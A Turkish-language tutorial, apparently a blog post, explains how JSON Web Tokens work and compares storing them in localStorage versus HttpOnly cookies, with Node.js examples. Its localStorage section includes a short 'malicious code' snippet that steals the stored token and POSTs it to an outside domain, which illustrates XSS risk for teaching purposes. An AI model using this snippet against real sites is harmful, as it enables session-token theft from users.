JWT (JSON Web Token), taraflar arasında bilgi güvenli bir şekilde JSON nesnesi olarak iletmek için kullanılan açık bir standarttır (RFC 7519). Özellikle modern web uygulamalarında kimlik doğrulama ve yetkilendirme işlemlerinde yaygın olarak kullanılır.
JWT’nin Yapısı
JWT üç ana bölümden oluşur ve bu bölümler nokta (.) ile ayrılır:
Header.Payload.Signature
Header
{
"alg": "HS256",
"typ": "JWT"
}
alg: İmzalama algoritması (HS256, RS256 vb.)
typ: Token türü (genelde JWT)
Payload
Payload, taşınan verileri (claims) içerir. Üç tür claim vardır:
iss (issuer): Token’ı oluşturan
exp (expiration): Son kullanma tarihi
sub (subject): Token’ın konusu
aud (audience): Hedef kitle
Public Claims: Herkese açık, standart olmayan claimler
Private Claims: Taraflar arasında özel olarak anlaşılan bilgiler.
{
"sub": "1234567890",
"name": "Ahmet Yılmaz",
"admin": true,
"exp": 1735991234
}
Signature
Signature, token’ın bütünlüğünü doğrulamak için kullanılır. Header ve Payload’ın encode edilmiş hali alınır ve gizli anahtar ile şifrelenir.
HMACSHA256(
base64UrlEncode(header) + "." + base64UrlEncode(payload),
secret
)

JWT Nasıl Çalışır?
Kullanıcı, kullanıcı adı ve şifre ile sisteme giriş yapar. Sunucu, kimlik bilgilerini doğrular ve geçerliyse bir JWT oluşturur. Token içine kullanıcı bilgileri (user ID, roller vb.) yerleştirilir ve gizli anahtar ile imzalanır. Oluşturulan JWT, istemciye (tarayıcı, mobil uygulama) gönderilir. İstemci bunu genelde localStorage veya cookie’de saklar. İstemci, korumalı kaynaklara erişmek istediğinde JWT’yi HTTP header’ında gönderir: Authorization: Bearer <token>
Sunucu, gelen token’ı alır ve doğrular. İmzayı kontrol eder. Süre dolmuş mu kontrol eder.(exp) Payload’daki bilgileri okur. Token geçerliyse istek işlenir, değilse 401 Unauthorized hatası döner.
JWT’nin Avantajları
Durumsuzluk (Stateless): Sunucu tarafında oturum bilgisi saklanmaz. Her şey token’da bulunur, bu da ölçeklenebilirliği artırır.
Taşınabilirlik: Farklı domainler ve servisler arasında kolayca kullanılabilir. Mikroservis mimarileri için idealdir.
Kompaktlık: URL, POST parametresi veya HTTP header’ında kolayca gönderilebilecek kadar küçüktür.
Güvenlik: İmza sayesinde token’ın değiştirilip değiştirilmediği anlaşılır.
Güvenlik Önlemleri
HTTPS Kullanımı: JWT her zaman HTTPS üzerinden iletilmelidir, aksi halde man-in-the-middle saldırılarına açık olur.
Gizli Anahtarın Korunması: İmzalama için kullanılan secret key kesinlikle güvenli tutulmalıdır.
Token Süresi: Tokenlar için kısa süre (15-30 dk) belirlenip refresh token mekanizması kullanılmalıdır.
Hassas Bilgiler: Payload Base64 ile kodlanır ama şifrelenmez. Hassas bilgiler (şifre, kredi kartı) JWT’de saklanmamalıdır.
XSS ve CSRF Koruması: localStorage kullanılıyorsa XSS’e, cookie kullanılıyorsa CSRF’e karşı önlem alınmalıdır.
JWT vs Session Karşılaştırması
Session Tabanlı Yetkilendirme:
- Sunucuda oturum bilgisi saklanır
- Ölçeklenebilirlik zordur
- Sunucu kaynağı tüketir
JWT Tabanlı Yetkilendirme:
- Durumsuz (stateless)
- Kolay ölçeklenebilir
- Sunucu kaynağı tüketmez
- Token’ı iptal etmek zordur
Örnek Kullanım (Node.js)
const jwt = require('jsonwebtoken');
// Token oluşturma
const token = jwt.sign(
{ userId: 123, role: 'admin' },
'gizli-anahtar',
{ expiresIn: '1h' }
);
// Token doğrulama
try {
const decoded = jwt.verify(token, 'gizli-anahtar');
console.log(decoded);
} catch(err) {
console.log('Geçersiz token');
}
Modern web uygulamalarında kimlik doğrulama için güçlü ve esnek bir çözümdür. Doğru kullanıldığında güvenli ve ölçeklenebilir sistemler geliştirmeyi sağlar. Ancak güvenlik önlemlerine dikkat edilmesi ve kullanım senaryosuna göre doğru strateji seçilmesi önemlidir.
JWT’yi Nerede Saklamalı: LocalStorage vs Cookie
Bu, web güvenliği alanında en çok tartışılan konulardan biridir. Her iki yöntemin de avantajları ve dezavantajları vardır.

LocalStorage’da Saklama
localStorage.setItem('token', jwt);
const token = localStorage.getItem('token');
CSRF’e Karşı Doğal Koruma: LocalStorage’daki veriler otomatik olarak sunucuya gönderilmez, bu yüzden CSRF (Cross-Site Request Forgery) saldırılarına karşı doğal bir koruma sağlar.
Esnek Kontrol: Token’ı ne zaman göndereceğinize siz karar verirsiniz.
XSS’e Karşı Savunmasız: En büyük risk! Herhangi bir XSS (Cross-Site Scripting) açığı varsa, kötü niyetli JavaScript kodu localStorage’a erişip token’ı çalabilir.
// Kötü niyetli kod
const stolenToken = localStorage.getItem('token');
fetch('https://mucahitakin.com', {
method: 'POST',
body: stolenToken
});
JavaScript’ten Erişilebilir: Tüm JavaScript kodları (üçüncü parti kütüphaneler dahil) localStorage’a erişebilir.
Cookie’de Saklama
HttpOnly Flag ile XSS Koruması: En önemli avantaj! HttpOnly flag’i ile cookie, JavaScript’ten erişilemez hale gelir.
Otomatik Gönderim: Cookie’ler her istekte otomatik olarak sunucuya gönderilir, ekstra kod yazmaya gerek yok.
Secure Flag: HTTPS üzerinden şifreli iletim zorunlu kılınabilir.
CSRF Saldırılarına Açık: Cookie’ler otomatik gönderildiği için CSRF saldırılarına karşı önlem almak gerekir.
SameSite attribute kullanımı
CSRF token’ları eklenmeli
Subdomain Problemleri: Cookie’ler domain bazlı çalışır, farklı domain’lerde sorun çıkabilir.
CORS Zorlukları: Farklı origin’ler arası kullanımda credentials: 'include' gerekir ve CORS yapılandırması daha karmaşık olabilir.
Refresh Token Pattern
En Güvenli Yöntem: HttpOnly Cookie + SameSite
Access Token: Kısa ömürlü (5-15 dk), localStorage’da
Refresh Token: Uzun ömürlü, HttpOnly cookie’de
// Backend
app.post('/login', (req, res) => {
const token = jwt.sign({ userId: user.id }, SECRET_KEY);
res.cookie('token', token, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 900000
});
res.json({ success: true });
});
// Frontend
fetch('/api/protected', {
credentials: 'include'
});
Bu yaklaşımda:
Access token çalınsa bile kısa sürede geçersiz olur.
Refresh token HttpOnly olduğu için XSS’le çalınamaz.
Her iki saldırı türüne karşı denge sağlanır.
Modern web uygulamaları için HttpOnly + Secure + SameSite cookie en güvenli seçenektir. Unutmayalım ki %100 güvenli sistem yoktur. Her iki yöntemi de seçseniz, XSS ve CSRF açıklarını kapatmak, HTTPS kullanmak, input validation yapmak ve güvenlik güncellemelerini takip etmek en önemli unsurlardır.